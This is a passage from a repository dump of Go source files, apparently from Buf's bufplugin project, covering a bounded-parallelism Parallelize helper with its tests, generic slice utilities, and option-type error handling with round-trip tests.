newParallelizeOptions() 31 | for _, option := range options { 32 | option(parallelizeOptions) 33 | } 34 | switch len(jobs) { 35 | case 0: 36 | return nil 37 | case 1: 38 | return jobs[0](ctx) 39 | } 40 | parallelism := parallelizeOptions.parallelism 41 | if parallelism < 1 { 42 | parallelism = defaultParallelism 43 | } 44 | var cancel context.CancelFunc 45 | if parallelizeOptions.cancelOnFailure { 46 | ctx, cancel = context.WithCancel(ctx) 47 | defer cancel() 48 | } 49 | semaphoreC := make(chan struct{}, parallelism) 50 | var retErr error 51 | var wg sync.WaitGroup 52 | var lock sync.Mutex 53 | var stop bool 54 | for _, job := range jobs { 55 | if stop { 56 | break 57 | } 58 | // We always want context cancellation/deadline expiration to take 59 | // precedence over the semaphore unblocking, but select statements choose 60 | // among the unblocked non-default cases pseudorandomly. To correctly 61 | // enforce precedence, use a similar pattern to the check-lock-check 62 | // pattern common with sync.RWMutex: check the context twice, and only do 63 | // the semaphore-protected work in the innermost default case. 64 | select { 65 | case <-ctx.Done(): 66 | stop = true 67 | retErr = errors.Join(retErr, ctx.Err()) 68 | case semaphoreC <- struct{}{}: 69 | select { 70 | case <-ctx.Done(): 71 | stop = true 72 | retErr = errors.Join(retErr, ctx.Err()) 73 | default: 74 | job := job 75 | wg.Add(1) 76 | go func() { 77 | if err := job(ctx); err != nil { 78 | lock.Lock() 79 | retErr = errors.Join(retErr, err) 80 | lock.Unlock() 81 | if cancel != nil { 82 | cancel() 83 | } 84 | } 85 | // This will never block. 86 | <-semaphoreC 87 | wg.Done() 88 | }() 89 | } 90 | } 91 | } 92 | wg.Wait() 93 | return retErr 94 | } 95 | 96 | // ParallelizeOption is an option to Parallelize. 97 | type ParallelizeOption func(*parallelizeOptions) 98 | 99 | // WithParallelism returns a new ParallelizeOption that will run up to the given 100 | // number of goroutines simultaneously. 101 | // 102 | // Values less than 1 are ignored. 103 | // 104 | // The default is runtime.GOMAXPROCS(0). 105 | func WithParallelism(parallelism int) ParallelizeOption { 106 | return func(parallelizeOptions *parallelizeOptions) { 107 | parallelizeOptions.parallelism = parallelism 108 | } 109 | } 110 | 111 | // ParallelizeWithCancelOnFailure returns a new ParallelizeOption that will attempt 112 | // to cancel all other jobs via context cancellation if any job fails. 113 | func ParallelizeWithCancelOnFailure() ParallelizeOption { 114 | return func(parallelizeOptions *parallelizeOptions) { 115 | parallelizeOptions.cancelOnFailure = true 116 | } 117 | } 118 | 119 | type parallelizeOptions struct { 120 | parallelism int 121 | cancelOnFailure bool 122 | } 123 | 124 | func newParallelizeOptions() *parallelizeOptions { 125 | return ¶llelizeOptions{} 126 | } 127 | -------------------------------------------------------------------------------- /internal/pkg/thread/thread_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package thread 16 | 17 | import ( 18 | "context" 19 | "sync/atomic" 20 | "testing" 21 | 22 | "github.com/stretchr/testify/assert" 23 | ) 24 | 25 | // The bulk of the code relies on subtle timing that's difficult to 26 | // reproduce, but we can test the most basic use cases. 27 | 28 | func TestParallelizeSimple(t *testing.T) { 29 | t.Parallel() 30 | 31 | numJobs := 10 32 | var executed atomic.Int64 33 | jobs := make([]func(context.Context) error, 0, numJobs) 34 | for range numJobs { 35 | jobs = append( 36 | jobs, 37 | func(context.Context) error { 38 | executed.Add(1) 39 | return nil 40 | }, 41 | ) 42 | } 43 | ctx := context.Background() 44 | assert.NoError(t, Parallelize(ctx, jobs)) 45 | assert.Equal(t, int64(numJobs), executed.Load()) 46 | } 47 | 48 | func TestParallelizeImmediateCancellation(t *testing.T) { 49 | t.Parallel() 50 | 51 | numJobs := 10 52 | var executed atomic.Int64 53 | jobs := make([]func(context.Context) error, 0, numJobs) 54 | for range numJobs { 55 | jobs = append( 56 | jobs, 57 | func(context.Context) error { 58 | executed.Add(1) 59 | return nil 60 | }, 61 | ) 62 | } 63 | ctx, cancel := context.WithCancel(context.Background()) 64 | cancel() 65 | assert.Error(t, Parallelize(ctx, jobs)) 66 | assert.Equal(t, int64(0), executed.Load()) 67 | } 68 | -------------------------------------------------------------------------------- /internal/pkg/xslices/xslices.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package xslices 16 | 17 | import ( 18 | "cmp" 19 | "slices" 20 | ) 21 | 22 | // Filter filters the slice to only the values where f returns true. 23 | func Filter[T any](s []T, f func(T) bool) []T { 24 | sf := make([]T, 0, len(s)) 25 | for _, e := range s { 26 | if f(e) { 27 | sf = append(sf, e) 28 | } 29 | } 30 | return sf 31 | } 32 | 33 | // FilterError filters the slice to only the values where f returns true. 34 | // 35 | // Returns error the first time f returns error. 36 | func FilterError[T any](s []T, f func(T) (bool, error)) ([]T, error) { 37 | sf := make([]T, 0, len(s)) 38 | for _, e := range s { 39 | ok, err := f(e) 40 | if err != nil { 41 | return nil, err 42 | } 43 | if ok { 44 | sf = append(sf, e) 45 | } 46 | } 47 | return sf, nil 48 | } 49 | 50 | // Map maps the slice. 51 | func Map[T1, T2 any](s []T1, f func(T1) T2) []T2 { 52 | if s == nil { 53 | return nil 54 | } 55 | sm := make([]T2, len(s)) 56 | for i, e := range s { 57 | sm[i] = f(e) 58 | } 59 | return sm 60 | } 61 | 62 | // MapError maps the slice. 63 | // 64 | // Returns error the first time f returns error. 65 | func MapError[T1, T2 any](s []T1, f func(T1) (T2, error)) ([]T2, error) { 66 | if s == nil { 67 | return nil, nil 68 | } 69 | sm := make([]T2, len(s)) 70 | for i, e := range s { 71 | em, err := f(e) 72 | if err != nil { 73 | return nil, err 74 | } 75 | sm[i] = em 76 | } 77 | return sm, nil 78 | } 79 | 80 | // MapKeysToSortedSlice converts the map's keys to a sorted slice. 81 | func MapKeysToSortedSlice[M ~map[K]V, K cmp.Ordered, V any](m M) []K { 82 | s := MapKeysToSlice(m) 83 | slices.Sort(s) 84 | return s 85 | } 86 | 87 | // MapKeysToSlice converts the map's keys to a slice. 88 | func MapKeysToSlice[K comparable, V any](m map[K]V) []K { 89 | s := make([]K, 0, len(m)) 90 | for k := range m { 91 | s = append(s, k) 92 | } 93 | return s 94 | } 95 | 96 | // ToStructMap converts the slice to a map with struct{} values. 97 | func ToStructMap[T comparable](s []T) map[T]struct{} { 98 | m := make(map[T]struct{}, len(s)) 99 | for _, e := range s { 100 | m[e] = struct{}{} 101 | } 102 | return m 103 | } 104 | -------------------------------------------------------------------------------- /option/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package option 16 | 17 | import ( 18 | "fmt" 19 | "strings" 20 | ) 21 | 22 | type unexpectedOptionValueTypeError struct { 23 | key string 24 | expected any 25 | actual any 26 | } 27 | 28 | func newUnexpectedOptionValueTypeError(key string, expected any, actual any) *unexpectedOptionValueTypeError { 29 | return &unexpectedOptionValueTypeError{ 30 | key: key, 31 | expected: expected, 32 | actual: actual, 33 | } 34 | } 35 | 36 | func (u *unexpectedOptionValueTypeError) Error() string { 37 | if u == nil { 38 | return "" 39 | } 40 | var sb strings.Builder 41 | _, _ = sb.WriteString(`unexpected type for option value "`) 42 | _, _ = sb.WriteString(u.key) 43 | _, _ = sb.WriteString(fmt.Sprintf(`": expected %T, got %T`, u.expected, u.actual)) 44 | return sb.String() 45 | } 46 | -------------------------------------------------------------------------------- /option/option.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // 16 | // http://www.apache.org/licenses/LICENSE-2.0 17 | // 18 | // Unless required by applicable law or agreed to in writing, software 19 | // distributed under the License is distributed on an "AS IS" BASIS, 20 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 21 | // See the License for the specific language governing permissions and 22 | // limitations under the License. 23 | 24 | // Package option provides the Options type for plugins. 25 | package option // import "buf.build/go/bufplugin/option" 26 | -------------------------------------------------------------------------------- /option/options_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // 16 | // http://www.apache.org/licenses/LICENSE-2.0 17 | // 18 | // Unless required by applicable law or agreed to in writing, software 19 | // distributed under the License is distributed on an "AS IS" BASIS, 20 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 21 | // See the License for the specific language governing permissions and 22 | // limitations under the License. 23 | 24 | package option 25 | 26 | import ( 27 | "testing" 28 | 29 | "github.com/stretchr/testify/assert" 30 | "github.com/stretchr/testify/require" 31 | ) 32 | 33 | func TestOptionsRoundTrip(t *testing.T) { 34 | t.Parallel() 35 | 36 | testOptionsRoundTrip(t, true) 37 | testOptionsRoundTrip(t, int64(1)) 38 | testOptionsRoundTrip(t, float64(1.0)) 39 | testOptionsRoundTrip(t, "foo") 40 | testOptionsRoundTrip(t, []byte("foo")) 41 | testOptionsRoundTrip(t, []bool{true, true}) 42 | testOptionsRoundTrip(t, []int64{1, 2}) 43 | testOptionsRoundTrip(t, []float64{1.0, 2.0}) 44 | testOptionsRoundTrip(t, []string{"foo", "bar"}) 45 | testOptionsRoundTrip(t, [][]string{{"foo", "bar"}, {"baz, bat"}}) 46 | testOptionsRoundTripDifferentInputOutput( 47 | t, 48 | []any{"foo", "bar"}, 49 | []string{"foo", "bar"}, 50 | ) 51 | testOptionsRoundTripDifferentInputOutput( 52 | t, 53 | []any{[]string{"foo"}, []string{"bar"}}, 54 | [][]string{{"foo"}, {"bar"}}, 55 | ) 56 | } 57 | 58 | func TestOptionsValidateValueError(t *testing.T) { 59 | t.Parallel() 60 | 61 | err := validateValue(false) 62 | assert.Error(t, err) 63 | err = validateValue(0) 64 | assert.Error(t, err) 65 | err = validateValue([]any{1, "foo"}) 66 | assert.Error(t, err) 67 | err = validateValue([]any{[]string{"foo"}, "foo"}) 68 | assert.Error(t, err) 69 | } 70 | 71 | func testOptionsRoundTrip(t *testing.T, value any) { 72 | protoValue, err := valueToProtoValue(value) 73 | require.NoError(t, err) 74 | actualValue, err := protoValueToValue(protoValue) 75 | require.NoError(t, err) 76 | assert.Equal(t, value, actualValue) 77 | } 78 | 79 | func testOptionsRoundTripDifferentInputOutput(t *testing.T, input any, expectedOutput any) { 80 | protoValue, err := valueToProtoValue(input) 81 | require.NoError(t, err) 82 | actualValue, err := protoValueToValue(protoValue) 83 | require.NoError(t, err) 84 | assert.Equal(t, expectedOutput, actualValue) 85 | } 86 | --------------------------------------------------------------------------------